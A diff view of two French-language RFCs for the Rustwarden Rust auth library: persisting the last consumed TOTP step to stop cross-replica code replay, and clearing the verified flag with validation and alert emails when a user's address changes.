| 51 | +- **Pas de `CHECK` SQL** sur la monotonie : la monotonie est garantie par le `WHERE` de l’`UPDATE`. | |
| 52 | +- **Pas de SQL brut applicatif** : SeaORM uniquement (`update_many` + filtres). La migration utilise `SchemaManager::alter_table`. | |
| 53 | + | |
| 54 | +## API proposée | |
| 55 | + | |
| 56 | +Aucun nouvel item `pub` obligatoire. Comportement de `TotpService::verify_code` (et `verify_and_enable`) enrichi. Schéma + modèle. | |
| 57 | + | |
| 58 | +### Schéma | |
| 59 | + | |
| 60 | +Migration `crates/rustwarden-core/src/migrations/m20260918_000010_totp_last_used_step.rs`, enregistrée dans [`migrations/mod.rs`](../../crates/rustwarden-core/src/migrations/mod.rs) (`pub mod` + `core_migrations()`). Prochain numéro après `m20260510_000009_fediverse_interop`. | |
| 61 | + | |
| 62 | +```rust | |
| 63 | +// crates/rustwarden-core/src/migrations/m20260918_000010_totp_last_used_step.rs | |
| 64 | +use sea_orm_migration::prelude::*; | |
| 65 | + | |
| 66 | +#[derive(DeriveMigrationName)] | |
| 67 | +pub struct Migration; | |
| 68 | + | |
| 69 | +#[async_trait::async_trait] | |
| 70 | +impl MigrationTrait for Migration { | |
| 71 | + async fn up(&self, manager: &SchemaManager) -> Result<(), DbErr> { | |
| 72 | + manager | |
| 73 | + .alter_table( | |
| 74 | + Table::alter() | |
| 75 | + .table(UserTotp::Table) | |
| 76 | + .add_column( | |
| 77 | + ColumnDef::new(UserTotp::LastUsedStep) | |
| 78 | + .big_integer() | |
| 79 | + .null(), | |
| 80 | + ) | |
| 81 | + .to_owned(), | |
| 82 | + ) | |
| 83 | + .await | |
| 84 | + } | |
| 85 | + | |
| 86 | + async fn down(&self, manager: &SchemaManager) -> Result<(), DbErr> { | |
| 87 | + manager | |
| 88 | + .alter_table( | |
| 89 | + Table::alter() | |
| 90 | + .table(UserTotp::Table) | |
| 91 | + .drop_column(UserTotp::LastUsedStep) | |
| 92 | + .to_owned(), | |
| 93 | + ) | |
| 94 | + .await | |
| 95 | + } | |
| 96 | +} | |
| 97 | + | |
| 98 | +#[derive(Iden)] | |
| 99 | +enum UserTotp { | |
| 100 | + Table, | |
| 101 | + LastUsedStep, | |
| 102 | +} | |
| 103 | +``` | |
| 104 | + | |
| 105 | +Équivalent SQL (documentation ; **non** exécuté par l’app) : | |
| 106 | + | |
| 107 | +```sql | |
| 108 | +ALTER TABLE user_totp ADD COLUMN last_used_step BIGINT NULL; | |
| 109 | +``` | |
| 110 | + | |
| 111 | +Réversible : `DROP COLUMN last_used_step`. Les lignes existantes restent `NULL` → premier code post-migration toujours accepté. | |
| 112 | + | |
| 113 | +### Modèle | |
| 114 | + | |
| 115 | +[`user_totp::Model`](../../crates/rustwarden-core/src/models/user_totp.rs) aujourd’hui : `id`, `user_id`, `secret_encrypted`, `enabled`, `backup_codes_encrypted`, `backup_codes_remaining`, `enabled_at`, `created_at`, `updated_at`. **Après Accept** : | |
| 116 | + | |
| 117 | +```rust | |
| 118 | +/// Last TOTP time-step (`unix_epoch / 30`) that was successfully consumed. | |
| 119 | +/// `None` until the first accepted code after this column exists. | |
| 120 | +pub last_used_step: Option<i64>, | |
| 121 | +``` | |
| 122 | + | |
| 123 | +Type `i64` : SeaORM mappe PostgreSQL `BIGINT`. `matching_totp_step` renvoie `u64` ; conversion `i64::try_from(step)` — un pas Unix/30 tient dans `i64` pour des siècles. Échec de conversion → traiter comme code invalide (`Ok(false)`), pas de panic. | |
| 124 | + | |
| 125 | +`setup` (`TotpService` insert `enabled=false`) : `last_used_step: NotSet` (NULL). | |
| 126 | + | |
| 127 | +### Concurrence (source de vérité) | |
| 128 | + | |
| 129 | +Succès **ssi** `rows_affected == 1` : | |
| 130 | + | |
| 131 | +```sql | |
| 132 | +UPDATE user_totp | |
| 133 | +SET last_used_step = $step | |
| 134 | +WHERE user_id = $id | |
| 135 | + AND (last_used_step IS NULL OR last_used_step < $step) | |
| 136 | +``` | |
| 137 | + | |
| 138 | +Comparaison **stricte** `<` : le même pas est un rejeu. Un pas plus grand (fenêtre suivante) passe. | |
| 139 | + | |
| 140 | +Proposition SeaORM (pas de SQL applicatif) : | |
| 141 | + | |
| 142 | +```rust | |
| 143 | +use chrono::Utc; | |
| 144 | +use sea_orm::{ | |
| 145 | + ColumnTrait, Condition, EntityTrait, QueryFilter, sea_query::Expr, | |
| 146 | +}; | |
| 147 | +use crate::models::user_totp; | |
| 148 | + | |
| 149 | +/// Consume `step` for `user_id`. Returns true iff this replica won the CAS. | |
| 150 | +async fn claim_totp_step( | |
| 151 | + db: &sea_orm::DatabaseConnection, | |
| 152 | + user_id: uuid::Uuid, | |
| 153 | + step: u64, | |
| 154 | +) -> Result<bool, crate::error::AppError> { | |
| 155 | + let step_i64 = i64::try_from(step).map_err(|_| { | |
| 156 | + crate::error::AppError::Internal("TOTP step does not fit in i64".into()) | |
| 157 | + })?; | |
| 158 | + | |
| 159 | + let result = user_totp::Entity::update_many() | |
| 160 | + .col_expr(user_totp::Column::LastUsedStep, Expr::value(step_i64)) | |
| 161 | + .col_expr(user_totp::Column::UpdatedAt, Expr::value(Utc::now())) | |
| 162 | + .filter(user_totp::Column::UserId.eq(user_id)) | |
| 163 | + .filter( | |
| 164 | + Condition::any() | |
| 165 | + .add(user_totp::Column::LastUsedStep.is_null()) | |
| 166 | + .add(user_totp::Column::LastUsedStep.lt(step_i64)), | |
| 167 | + ) | |
| 168 | + .exec(db) | |
| 169 | + .await?; | |
| 170 | + | |
| 171 | + Ok(result.rows_affected == 1) | |
| 172 | +} | |
| 173 | +``` | |
| 174 | + | |
| 175 | +Les snippets ci-dessus sont **proposés** (Draft) : ils ne compilent pas tant que la colonne n’existe pas. | |
| 176 | + | |
| 177 | +### Flux `verify_code` après Accept | |
| 178 | + | |
| 179 | +Ordre (évite de polluer le cache in-process si le CAS DB perd) : | |
| 180 | + | |
| 181 | +1. Charger `user_totp` `enabled=true` (inchangé) ; sinon `AppError::TotpNotEnabled`. | |
| 182 | +2. `matching_totp_step(&secret, code)` → `None` ⇒ `Ok(false)` (aucun `UPDATE`). | |
| 183 | +3. `claim_totp_step(db, user_id, step)` → `false` ⇒ `Ok(false)` (rejeu inter-réplicas ou même pas). | |
| 184 | +4. Optionnel : `totp_replay_guard_accept` **après** le CAS gagné, comme court-circuit intra-processus pour les rejeux suivants sur **ce** réplica (évite un `UPDATE` no-op). Le CAS DB reste autoritatif. | |
| 185 | +5. `Ok(true)`. | |
| 186 | + | |
| 187 | +`verify_and_enable` (~L208) appelle aujourd’hui `verify_totp_code` **sans** garde in-process. Après Accept : après match, `claim_totp_step` puis `enabled=true`. Le code de setup ne peut pas servir immédiatement de login sur un autre réplica. | |
| 188 | + | |
| 189 | +Signatures **inchangées** : | |
| 190 | + | |
| 191 | +```rust | |
| 192 | +impl TotpService { | |
| 193 | + pub async fn verify_code( | |
| 194 | + db: &DatabaseConnection, | |
| 195 | + user_id: Uuid, | |
| 196 | + code: &str, | |
| 197 | + ) -> Result<bool, AppError> { /* ... */ } | |
| 198 | + | |
| 199 | + pub async fn verify_and_enable( | |
| 200 | + db: &DatabaseConnection, | |
| 201 | + user_id: Uuid, | |
| 202 | + code: &str, | |
| 203 | + ) -> Result<Vec<String>, AppError> { /* ... */ } | |
| 204 | +} | |
| 205 | +``` | |
| 206 | + | |
| 207 | +### Usage consommateur | |
| 208 | + | |
| 209 | +Aucun changement d’appel. Gitrust continue : | |
| 210 | + | |
| 211 | +```rust | |
| 212 | +let accepted = rustwarden_core::services::totp_service::TotpService::verify_code( | |
| 213 | + db, user_id, code, | |
| 214 | +).await?; | |
| 215 | +if !accepted { | |
| 216 | + // invalid or replay — same branch, no oracle | |
| 217 | +} | |
| 218 | +``` | |
| 219 | + | |
| 220 | +## Analyse de compatibilité | |
| 221 | + | |
| 222 | +Checklist : | |
| 223 | + | |
| 224 | +- [x] API existante non modifiée → **non-breaking compile** (signatures `verify_code` / `verify_and_enable` inchangées). | |
| 225 | +- [ ] API existante étendue avec défaut → N/A (pas de nouveau `pub` requis). | |
| 226 | +- [ ] API existante modifiée ou supprimée → non. | |
| 227 | +- [x] Nouveau comportement par défaut → un code déjà consommé sur le réplica A est refusé sur B (voulu). Instance unique : déjà le cas via le garde 1.0.1. | |
| 228 | +- [x] Changement de schéma DB → **oui** : `last_used_step BIGINT NULL`, migration up/down. Pas de rewrite de données. `NULL` = grandfathering du premier code. | |
| 229 | +- [ ] Changement de format sérialisé → non (`user_totp` n’est pas un DTO JSON public). | |
| 230 | + | |
| 231 | +SemVer : mineure (schéma + comportement de durcissement, signatures stables). Processus §1 : un changement de défaut peut être breaking ; ici le 1.0.1 a déjà le même rejet en mono-instance. Documenter en `Security` dans le CHANGELOG. | |
| 232 | + | |
| 233 | +## Alternatives considérées | |
| 234 | + | |
| 235 | +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif. | |
| 236 | + | |
| 237 | +### Alternative A (recommandée) : colonne `last_used_step` + CAS SeaORM | |
| 238 | + | |
| 239 | +**Pros** : correct dès 2 réplicas sans Redis. Step matché (pas `now/30`). Atomicité PostgreSQL. Réversible (`NULL` / `DROP COLUMN`). Réutilise `matching_totp_step` déjà testé. Pas d’oracle. Constitution : pas de SQL applicatif. | |
| 240 | + | |
| 241 | +**Cons** : un `UPDATE` de plus sur le hot path 2FA (déjà un `SELECT` + decrypt). Migration à jouer sur toutes les apps. Tests de concurrence plus lourds. | |
| 242 | + | |
| 243 | +### Alternative B : garde in-process uniquement (statut 1.0.1) | |
| 244 | + | |
| 245 | +**Pros** : zéro migration, déjà livré, TTL 90 s, tests unitaires verts (`matching_totp_step_*`, `totp_replay_guard_accept`). | |
| 246 | + | |
| 247 | +**Cons** : **insuffisant dès 2 réplicas** (M-7). Rolling restart vide le `OnceLock`. Sticky sessions ne sont pas une garantie de sécu. Gitrust devrait forker un store. | |
| 248 | + | |
| 249 | +### Alternative C (ne rien faire / persister rien) | |
| 250 | + | |
| 251 | +**Pros** : zéro coût, zéro risque de migration. | |
| 252 | + | |
| 253 | +**Cons** : rejeu inter-instances ouvert à vie ; dette consommateur ; contredit l’audit M-7 et le CHANGELOG qui pointe déjà cette RFC. | |
| 254 | + | |
| 255 | +## Testing plan | |
| 256 | + | |
| 257 | +Tests unitaires (étendre [`totp_service.rs` tests](../../crates/rustwarden-core/src/services/totp_service.rs) ~L623+) : | |
| 258 | + | |
| 259 | +- Happy path : `matching_totp_step` renvoie le pas **courant** ; après `claim_totp_step` une fois, `last_used_step == Some(step)`. | |
| 260 | +- Erreur 1 — input invalide : code `"1"` / 5 digits → `matching_totp_step == None`, **aucun** `UPDATE` (assert DB inchangée). | |
| 261 | +- Erreur 2 — contrainte violée (rejeu même pas) : second `claim_totp_step` / `verify_code` avec le même code → `Ok(false)`, `rows_affected == 0`, `last_used_step` inchangé. | |
| 262 | +- Erreur 3 — fenêtre plus ancienne : accepter `t`, puis présenter le code de `t-1` → `matching_totp_step` peut encore matcher le secret, mais `last_used_step < t-1` est faux → `Ok(false)`. | |
| 263 | +- Erreur 4 (timeout / panic path) : `i64::try_from` n’est pas exercé en pratique ; tester `claim_totp_step` si `update_many` renvoie `DbErr` → `AppError::Database`, pas `Ok(true)` fail-open. | |
| 264 | + | |
| 265 | +Tests d’intégration (service / DB) : | |
| 266 | + | |
| 267 | +- `verify_code` happy path sur DB de test : premier code `true`, rejeu `false`. | |
| 268 | +- Deux tâches tokio concurrentes, même `(user_id, step)` : exactement une `true`. | |
| 269 | +- Migration up : colonne nullable présente ; rows existantes `NULL` ; premier verify OK. Migration down : colonne absente, données `user_totp` restantes intactes (`secret_encrypted`, `enabled`). | |
| 270 | +- `verify_and_enable` pose `last_used_step` ; un `verify_code` immédiat avec le même code → `false`. | |
| 271 | + | |
| 272 | +Tests de non-régression : | |
| 273 | + | |
| 274 | +- Code consommateur **compile** (signatures inchangées). | |
| 275 | +- Backup codes : `verify_backup_code` ne lit/écrit pas `last_used_step`. | |
| 276 | +- Garde in-process 1.0.1 : tests `totp_replay_guard_accept` restent verts (court-circuit optionnel). | |
| 277 | +- Baseline Draft : `cargo test -p rustwarden-core totp_service --lib` (garde + `matching_totp_step`) — à relancer après impl. | |
| 278 | + | |
| 279 | +Doctests : | |
| 280 | + | |
| 281 | +- Pas de nouvel item `pub`. Enrichir la rustdoc de `TotpService::verify_code` (anglais) : replay → `Ok(false)`. Exemple `ignore` si DB requise ; un doctest exécutable n’est pas réaliste sans secret + horloge. | |
| 282 | + | |
| 283 | +Benchs : comparer latence `verify_code` avant/après (SELECT+decrypt vs +UPDATE). Régression > 10 % bloque le merge sans justification. Attendu : un UPDATE PK `user_id` ≪ bcrypt backup codes. | |
| 284 | + | |
| 285 | +Les exemples `claim_totp_step` ne sont **pas** exécutables avant l’implémentation. | |
| 286 | + | |
| 287 | +## Migration guide | |
| 288 | + | |
| 289 | +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. | |
| 290 | + | |
| 291 | +```markdown | |
| 292 | +### API changes | |
| 293 | + | |
| 294 | +**Before (v1.0.1)** : | |
| 295 | +`TotpService::verify_code` refusait le rejeu du même pas TOTP **dans le | |
| 296 | +processus** (cache 90 s). Deux réplicas pouvaient accepter le même code. | |
| 297 | +Pas de colonne `last_used_step`. | |
| 298 | + | |
| 299 | +**After (vX.Y.Z)** : | |
| 300 | +Colonne `user_totp.last_used_step BIGINT NULL`. Après `matching_totp_step` | |
| 301 | +(pas qui a matché, pas `now/30`), un `UPDATE` conditionnel SeaORM | |
| 302 | +(`last_used_step IS NULL OR last_used_step < $step`) consomme le pas. | |
| 303 | +Succès ssi `rows_affected == 1` ; sinon `Ok(false)` (même sémantique | |
| 304 | +qu'un code invalide). `verify_and_enable` consomme aussi le pas. | |
| 305 | + | |
| 306 | +Aucune signature publique changée. | |
| 307 | + | |
| 308 | +### Migration steps | |
| 309 | + | |
| 310 | +1. Bump `rustwarden-core` à la version qui livre RFC 0037. | |
| 311 | +2. Jouer les migrations (`cargo run --bin migrate` ou `auto_migrate`) : | |
| 312 | + `m20260918_000010_totp_last_used_step`. | |
| 313 | +3. Aucun rewrite de données. Les secrets TOTP existants restent valides. | |
| 314 | +4. Redémarrer **tous** les réplicas après la migration (rolling OK : un | |
| 315 | + réplica pré-colonne crashera au SELECT/UPDATE tant que le schéma n'est | |
| 316 | + pas à jour — migrer avant le binaire). | |
| 317 | +5. Gitrust : aucun workaround Redis à conserver pour ce rejeu. | |
| 318 | +``` | |
| 319 | + | |
| 320 | +## Open questions | |
| 321 | + | |
| 322 | +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus : | |
| 323 | + | |
| 324 | +- [ ] **Garde in-process après CAS** : le conserver comme court-circuit (recommandé) ou le retirer une fois la colonne livrée (moins de chemins) ? | |
| 325 | +- [ ] **`verify_and_enable`** : confirmer qu’il **doit** `claim_totp_step` (recommandé) pour bloquer le replay setup→login. | |
| 326 | +- [ ] **SemVer** : minor Security vs major ? Signatures stables, schéma additif nullable. | |
| 327 | +- [ ] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. | |
| 328 | + | |
| 329 | +## Tracking issue | |
| 330 | + | |
| 331 | +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant l’audit M-7, le CHANGELOG 1.0.1 et Gitrust comme premier consommateur HA. Pas d’URL tant que le Draft n’est pas soumis. | |
| 332 | + | |
| 333 | +--- | |
| 334 | + | |
| 335 | +## Score d'évaluation (rempli par les reviewers) | |
| 336 | + | |
| 337 | +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. | |
| 338 | + | |
| 339 | +| Critère | Note (1-5) | Commentaire | | |
| 340 | +|---|---|---| | |
| 341 | +| Généralité | 5 | Tout consommateur 2FA multi-instance ; Gitrust n’a plus à forker un store. | | |
| 342 | +| Stabilité API | 5 | Signatures inchangées ; colonne nullable ; `NULL` = premier code OK. | | |
| 343 | +| Performance | 4 | Un `UPDATE` PK de plus sur le path 2FA ; pas de bcrypt. Bench à coller au merge. | | |
| 344 | +| Sécurité | 5 | Ferme M-7 inter-réplicas ; pas d’oracle ; step matché (pas `now/30`) ; CAS. | | |
| 345 | +| Complexité d'implémentation | 4 | Migration SeaORM + `update_many` + tests concurrence ; pas d’`unsafe`. | | |
| 346 | +| Charge de maintenance | 4 | Une colonne, pas de Redis ; garde in-process optionnel à ne pas faire dériver. | | |
| 347 | +| Documentation | 4 | RFC + CHANGELOG + rustdoc `verify_code` ; migration up/down. | | |
| 348 | +| **Total** | **31/35** | (≥ 25 pour Accepted) | |
A
docs/rfcs/0038-email-change-revalidation.md
+263
-0
@@ -0,0 +1,263 @@
| 1 | +# RFC 0038 — Revalidation e-mail à `UserService::update_profile` | |
| 2 | + | |
| 3 | +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1) | |
| 4 | +- **Date** : 2026-09-18 | |
| 5 | +- **Statut** : Draft | |
| 6 | +- **Apps consommatrices concernées** : Gitrust ; `rustwarden-ui` (`PUT /settings/profile`, `PUT /admin/users/:id`) ; tout consommateur qui appelle `UserService::update_profile` | |
| 7 | +- **Crate cible** : `rustwarden-core` | |
| 8 | +- **Origine** : plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 15) | |
| 9 | + | |
| 10 | +## Summary | |
| 11 | + | |
| 12 | +Quand `UserService::update_profile` écrit une **nouvelle** adresse e-mail, basculer `email_verified=false` / `email_verified_at=NULL`, enqueuer un mail de validation vers la **nouvelle** adresse et une alerte vers l’**ancienne**, sans table `pending_*` (v1 YAGNI). | |
| 13 | + | |
| 14 | +## Motivation | |
| 15 | + | |
| 16 | +### Problème concret | |
| 17 | + | |
| 18 | +[`UserService::update_profile`](../../crates/rustwarden-core/src/services/user_service.rs) (~L157–217) accepte `email: Option<String>`, vérifie un format minimal (`@` + `.`) et l’unicité, puis : | |
| 19 | + | |
| 20 | +```rust | |
| 21 | +updated_user.email = Set(new_email.clone()); | |
| 22 | +``` | |
| 23 | + | |
| 24 | +`email_verified` et `email_verified_at` ne sont **pas** touchés. Un compte déjà vérifié qui passe à `attacker@evil.example` reste `email_verified=true`. | |
| 25 | + | |
| 26 | +Call sites actuels : | |
| 27 | + | |
| 28 | +| Call site | Comportement aujourd’hui | | |
| 29 | +|---|---| | |
| 30 | +| [`rustwarden-ui` `PUT /settings/profile`](../../crates/rustwarden-ui/src/handlers/settings/profile.rs) | `update_profile` puis, si e-mail changé : invalide les password-change pending ; enqueue `account_modified` vers **nouvelle et ancienne** adresses. **Pas** de `send_validation_email`. **Pas** de reset `email_verified`. | | |
| 31 | +| [`admin_handler::update_user`](../../crates/rustwarden-ui/src/handlers/admin_handler.rs) (~L1286) | `update_profile(..., None, Some(new_email))` **sans** mail de validation ni alerte. | | |
| 32 | +| Gitrust / apps headless | même trou dès qu’elles appellent le service. | | |
| 33 | + | |
| 34 | +Conséquence : prise de contrôle silencieuse de l’identité e-mail (reset password, notifications, recovery) tout en conservant le flag vérifié. Couplé à RFC 0040 (`validation_email_required` dans `authenticate_user`), garder `email_verified=true` après un changement **contourne** aussi le blocage login. | |
| 35 | + | |
| 36 | +### Qui est impacté | |
| 37 | + | |
| 38 | +- Tout utilisateur qui change d’e-mail via profil ou admin. | |
| 39 | +- Les opérateurs : un user « verified » qui change d’adresse **perd l’accès** tant que `validation_email_required` est vrai (voulu — voir Breaking). | |
| 40 | +- Gitrust n’a plus à patcher `update_profile` localement. | |
| 41 | + | |
| 42 | +### Si on ne fait rien | |
| 43 | + | |
| 44 | +Le flag vérifié suit l’ancienne preuve vers une nouvelle boîte. L’UI envoie déjà un `account_modified` (incomplet, et seulement sur le chemin profil, pas admin). Divergence consommateurs. | |
| 45 | + | |
| 46 | +### Urgence | |
| 47 | + | |
| 48 | +Pas un patch 1.0.1. Durcissement de politique d’identité (comportement par défaut de `update_profile`). Pas de nouvelle table en v1 → RFC tout de même : changement de comportement par défaut + impact login (processus §2). | |
| 49 | + | |
| 50 | +## Non-goals | |
| 51 | + | |
| 52 | +- **Pas de table `pending_email_changes` en v1** (YAGNI). L’e-mail en base **devient** la nouvelle adresse immédiatement. v2 est évaluée ci-dessous comme follow-up. | |
| 53 | +- **Pas de charset e-mail** (hors RFC 0036 usernames). | |
| 54 | +- **Pas de modification du hook** [`RustwardenHooks::on_email_verified`](../../crates/rustwarden-core/src/hooks.rs) (~L91) : il reste appelé uniquement après un token de validation consommé (`EmailValidationService`). | |
| 55 | +- **Pas de changement du flow register** (`create_user` pose déjà `email_verified: false`). | |
| 56 | +- **Pas de réécriture OAuth** (`OAuthService` pose `email_verified` selon le provider — hors scope). | |
| 57 | +- **Pas de signature breaking** de `update_profile` (reste `db, user_id, username: Option<String>, email: Option<String>`). | |
| 58 | +- **Pas d’échec dur** si SMTP n’est pas configuré : même contrat que `register` (`EmailConfig::from_env()` best-effort + `tracing::warn`). | |
| 59 | + | |
| 60 | +## API proposée | |
| 61 | + | |
| 62 | +### v1 (recommandée) — flags + deux enqueues, pas de table | |
| 63 | + | |
| 64 | +Signature **aujourd’hui**, à conserver : | |
| 65 | + | |
| 66 | +```rust | |
| 67 | +// crates/rustwarden-core/src/services/user_service.rs | |
| 68 | +impl UserService { | |
| 69 | + pub async fn update_profile( | |
| 70 | + db: &DatabaseConnection, | |
| 71 | + user_id: Uuid, | |
| 72 | + username: Option<String>, | |
| 73 | + email: Option<String>, | |
| 74 | + ) -> Result<user::Model, AppError> { /* ... */ } | |
| 75 | +} | |
| 76 | +``` | |
| 77 | + | |
| 78 | +Comportement **après Accept**, branche `if let Some(new_email) = &email` (~L190–205), **après** les validations format/unicité, **avant** `update` : | |
| 79 | + | |
| 80 | +1. Si `new_email` (trim) **égal** à `user.email` : ne pas toucher `email_verified` / `email_verified_at` (no-op e-mail ; un rename username seul ne revalide pas). | |
| 81 | +2. Si `new_email` **différent** : | |
| 82 | + - `updated_user.email = Set(new_email.clone())` (inchangé). | |
| 83 | + - `updated_user.email_verified = Set(false)`. | |
| 84 | + - `updated_user.email_verified_at = Set(None)`. | |
| 85 | + - Mémoriser `old_email = user.email.clone()` pour l’alerte. | |
| 86 | +3. Persister (`updated_user.update(db)`). | |
| 87 | +4. Enqueue validation vers la **nouvelle** adresse : `EmailValidationService::new(cfg).send_validation_email(db, user_id)` — lit `user.email` **déjà** mis à jour, invalide les anciens tokens (`invalidate_previous_tokens`), type de queue `"email_validation"`. Même helper que [`register`](../../crates/rustwarden-core/src/auth/handlers.rs) (~L1488). | |
| 88 | +5. Enqueue alerte vers l’**ancienne** adresse (`EmailQueueService::enqueue`, `to_email = old_email`, type `"email_changed"` ou réutiliser `"account_modified"` avec `AccountModifiedTemplate` champ `Email`). Message du type « votre adresse e-mail a été changée » ; **ne pas** y coller le lien de validation (ce lien va uniquement à la nouvelle boîte). | |
| 89 | +6. `tracing::warn!` (user_id, old/new masqués) pour SIEM. Si un handler a des `RustwardenHooks`, il **peut** émettre `on_audit_event` (`kind: "user.email_changed"`) — `UserService` ne prend pas `hooks` (signature stable). `on_email_verified` inchangé. | |
| 90 | + | |
| 91 | +`EmailConfig::from_env()` : si `Err`, skip 4–5 + `tracing::warn` (comme register). L’update DB **réussit** quand même : l’utilisateur peut `POST /api/v1/auth/resend-verification`. | |
| 92 | + | |
| 93 | +Schéma `users` **inchangé** (`email_verified: bool`, `email_verified_at: Option<DateTime<Utc>>` déjà présents). | |
| 94 | + | |
| 95 | +### Usage consommateur | |
| 96 | + | |
| 97 | +```rust | |
| 98 | +use rustwarden_core::error::AppError; | |
| 99 | +use rustwarden_core::services::user_service::UserService; | |
| 100 | +use sea_orm::DatabaseConnection; | |
| 101 | +use uuid::Uuid; | |
| 102 | + | |
| 103 | +async fn change_email( | |
| 104 | + db: &DatabaseConnection, | |
| 105 | + user_id: Uuid, | |
| 106 | + new_email: String, | |
| 107 | +) -> Result<(), AppError> { | |
| 108 | + // Same signature. After this RFC, a previously verified user | |
| 109 | + // becomes email_verified=false until they click the new link. | |
| 110 | + let _user = UserService::update_profile(db, user_id, None, Some(new_email)).await?; | |
| 111 | + Ok(()) | |
| 112 | +} | |
| 113 | +``` | |
| 114 | + | |
| 115 | +`rustwarden-ui` profil : retirer le double enqueue `account_modified` **pour le champ e-mail** (évite 4 mails). Conserver l’invalidation `PasswordChangeService::invalidate_on_email_change` (déjà là). Conserver `account_modified` pour un rename username seul. Admin : aucun extra — le service couvre le trou. | |
| 116 | + | |
| 117 | +### v2 (follow-up, hors implémentation de cette RFC) | |
| 118 | + | |
| 119 | +Table `pending_email_changes` (`user_id`, `new_email`, `token_hash`, `expires_at`) : l’e-mail **courant** reste vérifié jusqu’au clic sur un lien envoyé à la **nouvelle** boîte ; l’ancienne reçoit l’alerte. Plus sûr contre un attaquant session-volée qui change l’e-mail pour lock-out. Coût : migration, tokens, courses admin vs user, expiration, UI « pending ». | |
| 120 | + | |
| 121 | +**Décision Draft** : v1 score proposé **28/35** (≥ 25) → v2 **marquée follow-up**, pas dans le PR d’implémentation. Réévaluer si un incident de prise de contrôle de session + changement d’e-mail le justifie. | |
| 122 | + | |
| 123 | +## Analyse de compatibilité | |
| 124 | + | |
| 125 | +Checklist : | |
| 126 | + | |
| 127 | +- [x] API existante non modifiée → signatures `update_profile` **inchangées** (compile). | |
| 128 | +- [ ] API existante étendue avec défaut → N/A. | |
| 129 | +- [x] API existante modifiée ou supprimée → **breaking comportemental** : un user vérifié qui change d’e-mail n’est plus vérifié. | |
| 130 | +- [x] Nouveau comportement par défaut → `email_verified=false` dès que l’adresse change. Feature-flag : non (sécurité). Les apps qui s’appuyaient sur « changer l’e-mail sans revalider » cassent **volontairement**. | |
| 131 | +- [ ] Changement de schéma DB → **non** en v1. | |
| 132 | +- [ ] Changement de format sérialisé → le JSON profil peut renvoyer `email_verified: false` après update (si le DTO l’expose). | |
| 133 | + | |
| 134 | +### Breaking (voulu) | |
| 135 | + | |
| 136 | +Si `AppSettingsService::get_bool_with_fallback(["validation_email_required", "validation_email_requise"], true)` est vrai (défaut), l’utilisateur **perd le login** jusqu’au clic sur le lien (RFC 0040 une fois livrée ; aujourd’hui seulement le handler HTTP `login`). Session JWT **déjà émise** : hors scope (pas de révocation globale ici). Password reset ira à la nouvelle adresse non encore prouvée — acceptable en v1 ; v2 retarderait l’écriture. | |
| 137 | + | |
| 138 | +Admin qui change l’e-mail d’un user : même un-verify. L’admin doit prévenir l’utilisateur (alerte ancienne boîte + validation nouvelle). | |
| 139 | + | |
| 140 | +## Alternatives considérées | |
| 141 | + | |
| 142 | +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif. | |
| 143 | + | |
| 144 | +### Alternative A (recommandée) : v1 YAGNI (un-verify + validation new + alerte old) | |
| 145 | + | |
| 146 | +**Pros** : ferme le bug sur **tous** les call sites (`update_profile` unique porte). Pas de migration. Réutilise `EmailValidationService::send_validation_email` et `EmailQueueService`. Aligné register. Score ≥ 25 → v2 plus tard. | |
| 147 | + | |
| 148 | +**Cons** : window où la nouvelle adresse est en base sans preuve (lock-out + reset vers une boîte non possédée si session volée). Breaking login. L’UI profil doit dédupliquer ses mails. | |
| 149 | + | |
| 150 | +### Alternative B : v2 `pending_email_changes` dès maintenant | |
| 151 | + | |
| 152 | +**Pros** : l’ancienne adresse reste vérifiée jusqu’à confirmation ; résiste mieux au vol de session ; pas de lock-out immédiat. | |
| 153 | + | |
| 154 | +**Cons** : migration + service + UI « pending » + courses admin ; YAGNI pour le bug actuel (flag qui ne bascule pas). Retarde la fermeture M. Score estimé : Généralité 4, Stabilité 3 (nouvelle table + API), Perf 4, Sécu 5, Complexité 2, Maintenance 3, Doc 4 → **25/35** pile, plus risqué à livrer en même temps que 0037/0040. | |
| 155 | + | |
| 156 | +### Alternative C (ne rien faire / garder le workaround UI) | |
| 157 | + | |
| 158 | +**Pros** : zéro coût upstream. L’UI profil notifie déjà old+new (`account_modified`) sans retirer le flag. | |
| 159 | + | |
| 160 | +**Cons** : `email_verified` reste vrai ; chemin **admin** et Gitrust non couverts ; reset password / login restent attachés à une preuve obsolète. Contredit l’audit. | |
| 161 | + | |
| 162 | +## Testing plan | |
| 163 | + | |
| 164 | +Tests unitaires / service (MockDatabase ou DB de test existante de `UserService`) : | |
| 165 | + | |
| 166 | +- Happy path : user `email_verified=true`, `update_profile(..., email: Some("new@example.com"))` → row `email=new@example.com`, `email_verified=false`, `email_verified_at=NULL` ; une entrée `email_queue` `email_validation` vers **new** ; une entrée alerte vers **old**. | |
| 167 | +- Erreur 1 — input invalide : `"not-an-email"` (pas de `@` / `.`) → `AppError::Validation("Invalid email format")` ; flags inchangés ; **aucune** queue. | |
| 168 | +- Erreur 2 — contrainte unicité : e-mail déjà pris par un autre user → `Validation("Email '…' already exists")` ; pas d’un-verify du caller. | |
| 169 | +- Erreur 3 — SMTP absent : `EmailConfig::from_env()` fail → update **réussit**, flags un-verify, `tracing` warn, queue vide (pas de panic). | |
| 170 | +- No-op : `email: Some(old)` identique → `email_verified` reste `true` ; pas d’enqueue validation. | |
| 171 | +- Username seul : `email: None` → e-mail/flags intacts. | |
| 172 | + | |
| 173 | +Tests d’intégration : | |
| 174 | + | |
| 175 | +- Consommer un token `EmailValidationService` après v1 → `email_verified=true`, `on_email_verified` appelé (handler `verify_email` inchangé). | |
| 176 | +- Admin `update_user` : même un-verify (test service suffit si le handler délègue). | |
| 177 | +- Non-régression : `create_user` toujours `email_verified=false`. | |
